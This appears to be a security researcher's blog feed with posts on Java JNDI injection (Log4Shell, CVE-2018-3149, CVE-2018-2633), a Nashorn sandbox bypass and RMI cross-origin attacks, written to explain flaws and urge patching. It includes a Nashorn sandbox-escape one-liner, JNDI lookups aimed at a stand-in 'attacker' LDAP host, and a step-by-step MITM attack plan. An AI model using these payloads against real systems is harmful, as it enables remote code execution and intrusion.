Jekyll2021-12-14T17:02:02+00:00https://mbechler.github.io//feed.xmlPure randomnessRandom ramblings, exploits and projects. Moritz BechlerPSA: Log4Shell and the current state of JNDI injection2021-12-10T19:00:00+00:002021-12-10T19:00:00+00:00https://mbechler.github.io//2021/12/10/PSA_Log4Shell_JNDI_Injection<blockquote> <p>The “Log4Shell” vulnerability has triggered a lot of interest in JNDI Injection exploits. Unfortunately, regarding exploitability there seems to go a bit of misinformation around. TLDR: A current Java runtime version won’t safe you. Do patch.</p> </blockquote> <p>The Log4Shell vulnerability (CVE-2021-44228) ultimately is a quite simple JNDI Injection flaw, but in a really really bad place. Log4J will perform a JNDI lookup() while expanding placeholders in logging messages (or indirectly as parameters for formatted messages).</p> <p>In a default installation there are two “interesting” protocols supported by JNDI: RMI and LDAP. In both cases a lookup() call is actually meant to return a Java object. This usually means serialized Java objects, however there is also a JNDI Reference mechanism for indirect construction through a factory. This object and factory bytecode can potentially be loaded from a remote URL codebase (read: a webserver with .class files).</p> <p>For a long time for both RMI and LDAP the specified reference factory codebase was not restricted at all, a lookup call to a attacker specified JNDI RMI or LDAP name was direct remote code execution.</p> <p>Starting with Java 8u121 remote codebase were no longer permitted by default for RMI (but not LDAP).</p> <p>Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see <a href="https://bugzilla.redhat.com/show_bug.cgi?id=1639834">https://bugzilla.redhat.com/show_bug.cgi?id=1639834</a>).</p> <p>So, up to Java 8u191 there is a direct path from a controlled JNDI lookup to remote classloading of arbitrary code. That Java version is about 3 years old.</p> <p>However, exploitation does not end there. Turning back to RMI, References and object construction with factories are still supported, just remote codebases are prohibited. Michael Stepankin in <a href="https://www.veracode.com/blog/research/exploiting-jndi-injections-java">https://www.veracode.com/blog/research/exploiting-jndi-injections-java</a> describes how the Apache XBean <em>BeanFactory</em> can be used in a returned Reference to achieve code execution. This class has to be locally available on the targeted system, however, it is for example included in Apache Tomcat. If your application runs in Tomcat, bad luck. <a href="https://github.com/veracode-research/rogue-jndi">https://github.com/veracode-research/rogue-jndi</a> also has another vector for WebSphere.</p> <p>Also, RMI is inherently based on Java serialization and LDAP supports a special object class, deserializing a Java object from the directory to return from the lookup(). In both cases, unless a global deserialization filter is applied, JNDI injection will result in deserialization of untrusted attacker provided data. While adding a bit more complexity to the attack, in many cases this will still be exploitable for remote code execution.</p> <p>Long story short: Do not rely on a current Java version to save you. Update Log4 (or remove the JNDI lookup). Disable the expansion (seems a pretty bad idea anyways).</p> <p>Update (14.12): In the original post I forgot to mention CORBA/IIOP which is the third relevant JNDI protocol. Impact is very similar to RMI.</p> <p>Previously on this blog:</p> <ul> <li><a href="https://mbechler.github.io/2018/11/01/Java-CVE-2018-3149/">https://mbechler.github.io/2018/11/01/Java-CVE-2018-3149/</a> - Oracle patching JNDI/LDAP</li> <li><a href="https://mbechler.github.io/2018/01/20/Java-CVE-2018-2633/">https://mbechler.github.io/2018/01/20/Java-CVE-2018-2633/</a> - Some JNDI Injection basics</li> </ul>Moritz BechlerThe “Log4Shell” vulnerability has triggered a lot of interest in JNDI Injection exploits. Unfortunately, regarding exploitability there seems to go a bit of misinformation around. TLDR: A current Java runtime version won’t safe you. Do patch.Beware the Nashorn: ClassFilter gotchas2019-03-02T12:41:24+00:002019-03-02T12:41:24+00:00https://mbechler.github.io//2019/03/02/Beware-the-Nashorn<blockquote> <p>Nashorn’s <code class="language-plaintext highlighter-rouge">ClassFilter</code> machanism alone is completely ineffective in preventing scripts from invoking arbitrary Java code. According to Oracle this is the intended behavior, so you probably want to avoid Nashorn for running untrusted scripts.</p> </blockquote> <p>Since Java 8 the Java runtime has been including the Nashorn JavaScript engine, allowing developers to add JavaScript scripting to their applications.</p> <p>A somewhat sane developer might assume that the <code class="language-plaintext highlighter-rouge">ClassFilter</code> mechanism can be used to restrict access to the Java world from scripts and thereby used for sandboxing of untrusted scripts. Enabling a <code class="language-plaintext highlighter-rouge">ClassFilter</code> even automatically disables all reflection functions to prevent the obvious bypass possible using them. Well, assumptions are security’s worst enemy. The secondary documentation (Nashorn User’s Guide) as well as the original <code class="language-plaintext highlighter-rouge">ClassFilter</code> JEP (202) hint that this might not be enough, but do not really give details and sounds more like it may be referring to a lack of control over Java code called into.</p> <blockquote> <p>While the ClassFilter interface can prevent access to Java classes, it is not enough to run untrusted scripts securely. The ClassFilter interface is not a replacement for a security manager. Applications should still run with a security manager before evaluating scripts from untrusted sources. Class filtering provides finer control beyond what a security manager provides. For example, an application that embeds Nashorn may prevent the spawning of threads from scripts or other resource-intensive operations that may be allowed by security manager.</p> </blockquote> <p>Having a somewhat closer look at Nashorn I had noticed that CVE-2018-3183 was being patched in Java 8u191 with some additional restrictions the <em>engine</em> global. This property doesn’t appear to be documented at all and provides access to the native <code class="language-plaintext highlighter-rouge">NashornScriptEngine</code> instance running the script.</p> <p>Extra points to the developers for the sneaky way the property accessor was introduced as an afterthought:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> public static Object __noSuchProperty__(final Object self, final Object name) { // [...] if ("context".equals(nameStr)) { return sctxt; } else if ("engine".equals(nameStr)) { // expose "engine" variable only when there is no security manager // or when no class filter is set. if (System.getSecurityManager() == null || global.getClassFilter() == null) { return global.engine; } } </code></pre></div></div> <p>This even ensures that all naive attempts to remove this property will fail horribly, as when overwritten, the property can simply be unset by a script to restore it’s original value. Mitigation appears to be only possible by removing the <code class="language-plaintext highlighter-rouge">__noSuchProperty__</code> handler as well.</p> <p>Note that the logic, added in the security path, prevents access to <em>engine</em> only when there is <strong>BOTH</strong> a <code class="language-plaintext highlighter-rouge">SecurityManager</code> and a <code class="language-plaintext highlighter-rouge">ClassFilter</code> present. Reporting this to Oracle, it was stated that this is the intended behavior.</p> <p>So, even after the patch for CVE-2018-3183, if there is no <code class="language-plaintext highlighter-rouge">SecurityManager</code> active, the <em>engine</em> property will be available to all scripts, even if there is a <code class="language-plaintext highlighter-rouge">ClassFilter</code> not allowing any access to Java classes at all.</p> <p>With access to the <em>engine</em> property, it is pretty much game over for the sandbox:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec("whatever")') </code></pre></div></div> <p>This breaks down to:</p> <ul> <li><code class="language-plaintext highlighter-rouge">this.engine</code>, global <em>engine</em></li> <li><code class="language-plaintext highlighter-rouge">.factory</code>, <code class="language-plaintext highlighter-rouge">getFactory()</code> -&gt; <code class="language-plaintext highlighter-rouge">NashornScriptEngineFactory</code> instance</li> <li><code class="language-plaintext highlighter-rouge">.scriptEngine</code>, <code class="language-plaintext highlighter-rouge">getScriptEngine()</code> creates a fresh engine instance with <strong>default</strong> (== no <code class="language-plaintext highlighter-rouge">ClassFilter</code>, etc..) configuration</li> <li><code class="language-plaintext highlighter-rouge">.eval([script])</code>, execute JavaScript code with full access to the Java world</li> </ul> <p>Affected Nashorn usage resulting in sandbox bypass has been identified so far in:</p> <ul> <li>Netbeans 9 Proxy PAC evaluation (CVE-2018-17191)</li> <li>delight-nashorn-sandbox (fix in 0.1.20+)</li> </ul> <p>Given that Oracle does not “support” isolated/sandboxed engine configurations without a <code class="language-plaintext highlighter-rouge">SecurityManager</code> present and there could be similar issues introduced in the future, avoiding Nashorn for such applications is advised.</p>Moritz BechlerNashorn’s ClassFilter machanism alone is completely ineffective in preventing scripts from invoking arbitrary Java code. According to Oracle this is the intended behavior, so you probably want to avoid Nashorn for running untrusted scripts.Java: Finally closing the door on JNDI remote classloading [CVE-2018-3149]2018-11-01T11:46:24+00:002018-11-01T11:46:24+00:00https://mbechler.github.io//2018/11/01/Java-CVE-2018-3149<blockquote> <p>The October 2018 CPU finally also applies classpath restrictions for LDAP object loading.</p> </blockquote> <p>While JNDI/RMI already had received a codebase restriction a while back in the January 2017 CPU (8u121,7u131), for some reason they failed to also apply that to the JNDI/LDAP subsystem. Given that I had mentioned and even exploited that in previous reports, I’m not sure why they have addressed this now and have not done so earlier. This removes some of the JNDI crazyness and is a good hardening measure.</p> <p>That means that starting with Java 11.0.1 and 8u191, directly getting remote code execution from JNDI lookups and related operations should no longer be possible. What however still is possible to get a Java Deserialization from these calls (both via RMI and LDAP).</p> <p>Quite a few of the marshalsec payloads use the JNDI vector to get remote code execution, these will now be degraded to escalation to Java deserialization. If there are usable gadgets available, with some more effort, this may still ultimately allow remote code execution.</p>Moritz BechlerThe October 2018 CPU finally also applies classpath restrictions for LDAP object loading.Java: Exploiting your “unreachable” JRMP/RMI/JMX endpoints [CVE-2018-2800]2018-05-21T10:58:24+00:002018-05-21T10:58:24+00:00https://mbechler.github.io//2018/05/21/Java-CVE-2018-2800<blockquote> <p>Up to the April 2018 CPU (6u191, 7u181, 8u171) Java’s RMI endpoints allowed HTTP tunneling of requests. Failing to implement further restrictions on these requests it was possible to perform them as cross-origin requests from third-party websites. This makes it possible to exploit otherwise unreachable RMI endpoints.</p> </blockquote> <p>One of the more obscure features of JRMP, which forms the basis for RMI and ultimately JMX, is an alternate transport protocol that encapsulates the message payloads in the body of HTTP POST requests. On the listener side this protocol will be automatically detected (by checking whether the message starts with POST) and request handling adjusted accordingly. In the Java standard library’s JRMP server implementation this magic was unconditionally enabled up to the April 2018 critical patch update (= 6u191, 7u181, 8u171). Support for this feature has already been removed in Java 9+.</p> <p>An often overlooked security issue with such HTTP based protocols is that the web’s security model does allow websites to make certain “simple” requests to other sites, including ones on the local network and even ones only reachable on the host running the browser. Applications therefor need to make sure that no dangerous/state-changing operations can be performed with these allowed-by-default cross-origin requests. Usually this can be achieved by requiring some custom headers, content type or HTTP authentication.</p> <p>And that is what the implementation failed to do, ultimately allowing any website to make requests (not accessing the responses) to the RMI/JMX endpoints you thought that were only accessible on your private network.</p> <p>Despite the relatively low immediate impact, combining this issue with certain other RMI/JMX vulneratiblities you may end up with an attacker on the internet gaining code execution on one of your local systems by tricking you into visiting some malicious website. This includes a couple of deserialization attacks fixed in the past CPU releases, a topic which deserves a separate post some time, as well as possibly some older bugs that allowed direct remote classloading.</p> <p>I have published some PoC code for this issue at <a href="https://github.com/mbechler/serjs">mbechler/serjs</a>.</p>Moritz BechlerUp to the April 2018 CPU (6u191, 7u181, 8u171) Java’s RMI endpoints allowed HTTP tunneling of requests. Failing to implement further restrictions on these requests it was possible to perform them as cross-origin requests from third-party websites. This makes it possible to exploit otherwise unreachable RMI endpoints.Java: Possible RCEs in X.509 certificate validation [CVE-2018-2633][CVE-2017-10116]2018-01-20T16:53:24+00:002018-01-20T16:53:24+00:00https://mbechler.github.io//2018/01/20/Java-CVE-2018-2633<blockquote> <p><strong>Executive summary</strong>, so that you don’t have a heart attack before we get into the gritty details.</p> <p><strong>CVE-2018-2633</strong> - fixed in the January 2018 CPU - allows remote code execution under two conditions:</p> <ul> <li><code class="language-plaintext highlighter-rouge">com.sun.security.enableAIAcaIssuers==true</code> - which is hopefully as uncommon as a google search suggests, or</li> <li>CRL checking/downloads are enabled (mostly <code class="language-plaintext highlighter-rouge">com.sun.security.enableCRLDP==true</code>, but also possibly other configurations) and the attacker can forge a <u>otherwise valid/trusted certificate</u> with an invalid CRL distribution point URL.</li> </ul> <p><strong>CVE-2017-10116</strong> - fixed in the July 2017 CPU - possibly allowed code execution through Java deserialization for an attacker in a MITM position.</p> <p>All of these apply to all regular X.509 certificate validation using Java’s built-in implementation, i.e. TLS client, TLS server (if client certificates are used), JAR verification… but only under aforementioned conditions.</p> </blockquote> <h1 id="jndi---the-root-of-all-evil">JNDI - The Root of all Evil</h1> <p>Using JNDI is a quite dangerous game, especially if you think of it as just an LDAP client.</p> <h4 id="crazy-feature-a-the-native-ability-to-store-java-objects-in-ldap-including-remote-codebase-references">Crazy Feature A: The native ability to store Java objects in LDAP, including remote codebase references.</h4> <p>Back at Blackhat 2016 Alvaro Muñoz and Oleksandr Mirosh <a href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf">presented</a> some RCE vectors through JNDI/LDAP APIs. However, they only seem to have identified issues based on <code class="language-plaintext highlighter-rouge">Context.lookup()</code> and <code class="language-plaintext highlighter-rouge">Context.search()</code> (when <code class="language-plaintext highlighter-rouge">returningObj==true</code>). Essentially controlling the lookup name or the directory contents in conjunction with these calls leads to both the ability to launch a Java deserialization attack (encoded objects in tree) or direct code execution (through JNDI <code class="language-plaintext highlighter-rouge">Reference</code> factory loading).</p> <p>While JNDI/RMI in the meantime (starting with 8u121) has codebase restrictions applied for JNDI <code class="language-plaintext highlighter-rouge">Reference</code> loading, the same is not true for JNDI/LDAP (fun fact: at the same time there are codebase restrictions for encoded objects).</p> <p>Using JNDI as a general purpose LDAP client, none of the methods mentioned above are all that common.</p> <h4 id="crazy-feature-b-composite-name-lookups">Crazy Feature B: Composite name lookups</h4> <p>If storing objects in the directory is not crazy enough, let me introduce <a href="https://docs.oracle.com/javase/jndi/tutorial/beyond/names/composite.html">composite name</a> lookups. A composite name is one that has multiple <em>components</em> separated by /, e.g. <code class="language-plaintext highlighter-rouge">foo/bar/whatever</code> or as the documentation puts it “a name that spans multiple naming systems” which technically translates to multiple JNDI <code class="language-plaintext highlighter-rouge">Context</code>s.</p> <p>Taking a name like <code class="language-plaintext highlighter-rouge">foo/bar/whatever</code> it’s first component (=<code class="language-plaintext highlighter-rouge">foo</code>) will be used to <em>lookup</em> the <code class="language-plaintext highlighter-rouge">Context</code> which is used to handle the remainder of the name (=<code class="language-plaintext highlighter-rouge">bar/whatever</code> having two components).</p> <p>Did I hear a <code class="language-plaintext highlighter-rouge">lookup()</code> in there? Yes. The intermediate <code class="language-plaintext highlighter-rouge">Context</code> is resolved by calling <code class="language-plaintext highlighter-rouge">lookup()</code> on the first component with the aforementioned consequences (code execution).</p> <p>So what is the difference? That logic is invoked on pretty much any <code class="language-plaintext highlighter-rouge">Context</code>/<code class="language-plaintext highlighter-rouge">DirContext</code> method call, e.g. <code class="language-plaintext highlighter-rouge">DirContext.getAttributes()</code>, <code class="language-plaintext highlighter-rouge">DirContext.search()</code> or even <code class="language-plaintext highlighter-rouge">Context.getNameParser()</code> which are more common as <code class="language-plaintext highlighter-rouge">lookup()</code> and the likes. The following code is vulnerable</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://attacker:389/"); // &lt;-- attacker supplied InitialDirContext ctx = new InitialDirContext(env); ctx.getAttributes("o=exploit/me"); // &lt;-- attacker supplied </code></pre></div></div> <ol> <li>The name argument <code class="language-plaintext highlighter-rouge">o=exploit/me</code> is parsed and has more than one component.</li> <li>Invokes <code class="language-plaintext highlighter-rouge">Context.lookup()</code> with the first component <code class="language-plaintext highlighter-rouge">o=exploit</code> (absolute: <code class="language-plaintext highlighter-rouge">ldap://attacker:389/o=exploit</code>).</li> <li>The attacker’s <a href="https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java">rogue LDAP server</a> returns a <code class="language-plaintext highlighter-rouge">Reference</code> result.</li> <li>Object Factory is instantiated from remote codebase -&gt; RCE.</li> </ol> <blockquote> <p>ldapURLContextFactory handles the URL path (which is the directory name) as a single component name. Therefor the name passed in PROVIDER_URL or a full URL passed as the name to one of the context methods is not handled as composite.</p> <p>For direct exploitation the attacker needs to control both the PROVIDER_URL and a name argument. If the attacker can only control the name argument the attack is still be possible from a MITM position.</p> </blockquote> <p>The good news is that nobody thought it was a good idea to bring the same features to JNDI/DNS.</p> <h1 id="introducing-ldapcertstoreuricertstore-cve-2018-2633">Introducing LDAPCertStore/URICertStore [CVE-2018-2633]</h1> <p>Java Cryptography Architecture <code class="language-plaintext highlighter-rouge">CertStore</code>s are implementations for looking up either X.509 certificates or CRLs for validation purposes. LDAPCertStore implements lookups in LDAP directories and uses JNDI to load Certificates/CRL specified by an LDAP URI. URICertStore is a wrapper around that which also adds support for loading from HTTP URIs.</p> <p>The JNDI context setup in <code class="language-plaintext highlighter-rouge">LDAPCertStore.createInitialDirContext()</code> looks like</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>String url = "ldap://" + server + ":" + port; Hashtable&lt;String,Object&gt; env = new Hashtable&lt;&gt;(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, url); ctx = new InitialDirContext(env); </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">server</code> and <code class="language-plaintext highlighter-rouge">port</code> are ultimately taken from the <code class="language-plaintext highlighter-rouge">URICertStore</code>’s URI.</p> <p>The actual retrieval JNDI call can be found in <code class="language-plaintext highlighter-rouge">LDAPCertStore$LDAPRequest.getValueMap()</code></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>attrs = ctx.getAttributes(name, attrIds); </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">name</code> is from the URI’s path and used to be neither validated nor escaped properly.</p> <p>Putting that together, accessing an URICertStore constructed from an attacker supplied URI like <code class="language-plaintext highlighter-rouge">ldap://attacker/o=exploit/bar</code> (which btw. is not a legal LDAP URI) ultimately resulted in remote code execution.</p> <p>So where is this stuff used? Well, during X.509 certificate/PKIX path validation.</p> <h4 id="authorityinformationaccess-caissuers">AuthorityInformationAccess: caIssuers</h4> <p>The AuthorityInformationAccess extension, known for specifying the location of the OCSP server, also has a record type that can be used to indicate an URI where additional intermediate CA certificates for the issuing CA can be obtained.</p> <p>Java might be the only piece of software actually programmatically using that information. If the system property <code class="language-plaintext highlighter-rouge">com.sun.security.enableAIAcaIssuers</code> is set to <code class="language-plaintext highlighter-rouge">true</code> during path validation and an unknown issuer is encountered - the implementation will try to load the caIssuers to find certificates that can complete the validation path to a trusted root. Loading happens through URICertStore with the caIssuers URI.</p> <p>As we haven’t established a trust path at that point, no actual validation of the certificate has taken place. An attacker can easily create a certificate with an arbitrary caIssuers location that will result in remote code execution as it is fed into the URICertStore.</p> <p>In terms of vulnerabilities this is about as bad as it gets, however a google search for the required <code class="language-plaintext highlighter-rouge">enableAIAcaIssuers</code> setting shows very few results, indicating that this is indeed a very rare configuration.</p> <h4 id="crldistributionpoints">CRLDistributionPoints</h4> <p>The CRLDistributionPoints extension specifies the download location for X.509 certificate revocation lists. These are loaded through URICertStore, too.</p> <p><code class="language-plaintext highlighter-rouge">com.sun.security.enableCRLDP==true</code> is a much more common configuration. However we are lucky in that CRL checking/download only happens after path validation. That means that for successful exploitation the attacker has to be able to obtain a certificate with a custom distribution point extension that is signed by a CA trusted by the victim. That would be pretty bad enough on it’s own - however normally not result in direct code execution. Apart from a very resourceful attacker having access to a trusted CA, systems allowing weak X.509 signatures schemes (MD5, SHA1) may be exploitable.</p> <p>Some custom validator usages, e.g. as used for JAR signature validation in Java WebStart, also enable the CRL download functionality when the system property is not set.</p> <h1 id="bonus-points-jndi-cross-protocol-referrals-cve-2017-10116">Bonus points: JNDI cross protocol referrals [CVE-2017-10116]</h1> <p>Another crazy feature of JNDI/LDAP is that it allows non-LDAP URIs in LDAP referrals (that seems to be intended behavior: <a href="https://docs.oracle.com/javase/jndi/tutorial/ldap/referral/overview.html">“The URLs are usually, but not necessarily, LDAP URLs”</a>). These returned referral URLs are used as JNDI names, so one can return an LDAP referral pointing to an object on a RMI server.</p> <p>When following referrals is enabled, an attacker controlling responses from an LDAP server, meaning either controlling an LDAP server the vicitim connects to or - in the absence of transport security - being able to MITM another LDAP connection, can trigger a connection to an arbitrary RMI server resulting in the deserialization of untrusted data.</p> <p>LDAPCertStore follows referrals. In the July 2017 CPU a new referral mode LDAP_REF_FOLLOW_SCHEME was added and used in LDAPCertStore that only follows referrals to other LDAP servers. The January 2018 CPU switches to custom handling of referrals.</p> <p>If CURL downloads are enabled but the attacker cannot produce a valid certificate with a custom distribution point this possibly allows for another attack from a MITM position:</p> <ol> <li>Get into a MITM position between the victim and the CA’s LDAP server.</li> <li>Wait/make the vicitim validate a certificate containing any ldap:// CRL distribution point. You may as well just get one from a legitimate CA.</li> <li>[Depending on the revocation check settings, ensure that the OCSP check fails.]</li> <li>When the victim sends it’s LDAP request for the CRL, answer with a referral to a RMI server that will return a serialized payload.</li> </ol> <p><strong>That is not fixed in general.</strong> Any JNDI/LDAP client usage that is configured to follow referrals and not using transport security is affected by that as well. One should use LDAP_REF_FOLLOW_SCHEME instead of LDAP_REF_FOLLOW for normal LDAP operation.</p>Moritz BechlerExecutive summary, so that you don’t have a heart attack before we get into the gritty details. CVE-2018-2633 - fixed in the January 2018 CPU - allows remote code execution under two conditions: com.sun.security.enableAIAcaIssuers==true - which is hopefully as uncommon as a google search suggests, or CRL checking/downloads are enabled (mostly com.sun.security.enableCRLDP==true, but also possibly other configurations) and the attacker can forge a otherwise valid/trusted certificate with an invalid CRL distribution point URL. CVE-2017-10116 - fixed in the July 2017 CPU - possibly allowed code execution through Java deserialization for an attacker in a MITM position. All of these apply to all regular X.509 certificate validation using Java’s built-in implementation, i.e. TLS client, TLS server (if client certificates are used), JAR verification… but only under aforementioned conditions.